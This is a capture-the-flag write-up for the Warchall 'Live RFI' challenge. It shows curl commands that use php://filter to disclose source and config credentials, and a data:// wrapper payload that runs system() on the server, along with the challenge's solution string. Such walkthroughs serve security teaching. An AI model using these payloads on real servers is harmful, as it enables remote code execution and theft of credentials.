WeChall - Warchall - Live RFI

Challenge

Warchall-hosted RFI challenge:

One reason why I wanted the warchall box is to offer more realistic webhacking challenges. You may now try the Live RFI challenge hosted on it. Note: There is a harsh firewall that only allows connections to wechall, warchall and the logserver.

The public WeChall page only gives the description and answer form; the vulnerable web app itself is hosted on Warchall at http://rfi.warchall.net/.

Recon

The vulnerable page at http://rfi.warchall.net/ has a lang parameter in the URL (index.php?lang=en, index.php?lang=de). Source disclosure via php://filter confirms the vulnerability:

1
$ curl 'http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=index.php'

Decoded source (index.php):

1
2
3
4
5
6
$iso = Common::getGetString('lang', 'en');
ini_set('open_basedir', getcwd());
$lang = require $iso;
ini_set('open_basedir', '/');
$page = sprintf('%s<br/>%s', $lang['welcome'], $lang['construction']);
echo GWF_Website::displayPage($page);

The config file (live_rfi.config.php) is also readable:

1
$ curl -sL 'http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=live_rfi.config.php' | base64 -d

This reveals DB credentials (RFI/RFI), domain (rfi.warchall.net), and salt (schnickschmugg).

Key observations: - require $iso includes whatever the user passes as lang — classic RFI/LFI. - open_basedir is set to getcwd() (the www directory) before the include, then reset to / after. - The included file must return an array with welcome and construction keys, because the code indexes into $lang['welcome'] and $lang['construction']. A payload that only prints output will cause a type error. - php://filter works for source disclosure (reading files within open_basedir). - The data:// wrapper is not blocked by open_basedirallow_url_include is enabled.

Exploit

Since data:// wrappers work and allow_url_include is On, we can execute arbitrary PHP without needing an external server (bypassing the firewall restriction entirely).

The payload needs to: 1. Execute a command (e.g., system()) 2. Capture the output via ob_start()/ob_get_clean() — raw system() output goes to stdout and won't appear in the $lang['welcome'] slot 3. Return an array with welcome and construction keys

1
$ curl 'http://rfi.warchall.net/index.php?lang=data://text/plain,<?php ob_start(); system("cat solution.php 2>&1"); $o = ob_get_clean(); return array("welcome"=>$o,"construction"=>""); ?>'

This reveals solution.php in the web root:

1
<?php return 'Low_H4NGING_Fruit'; ?>

Solution

Low_H4NGING_Fruit

Notes

  • The challenge name "Right-FI" is a play on "RFI" (Remote File Inclusion) and "Residual-current device" (the page subtitle).
  • open_basedir restricts filesystem path resolution to the current directory, but does not block PHP stream wrappers (data://, php://filter) when allow_url_include is enabled. This is a well-known PHP misconfiguration pitfall — open_basedir and allow_url_include are orthogonal controls.
  • php://input may or may not work depending on PHP version and open_basedir interaction; data:// is more reliable.
  • The firewall restriction (only wechall/warchall/logserver) is irrelevant when using data:// — no outbound connection is needed.
  • The en and de language files in the web directory are simple PHP files returning arrays with welcome and construction keys, which is why the exploit payload must also return the same array structure.
  • A simpler payload like data://text/plain,<?php print file_get_contents("solution.php"); ?> does NOT work because the code does $lang = require $iso and then accesses $lang['welcome'] — a string return is not an array.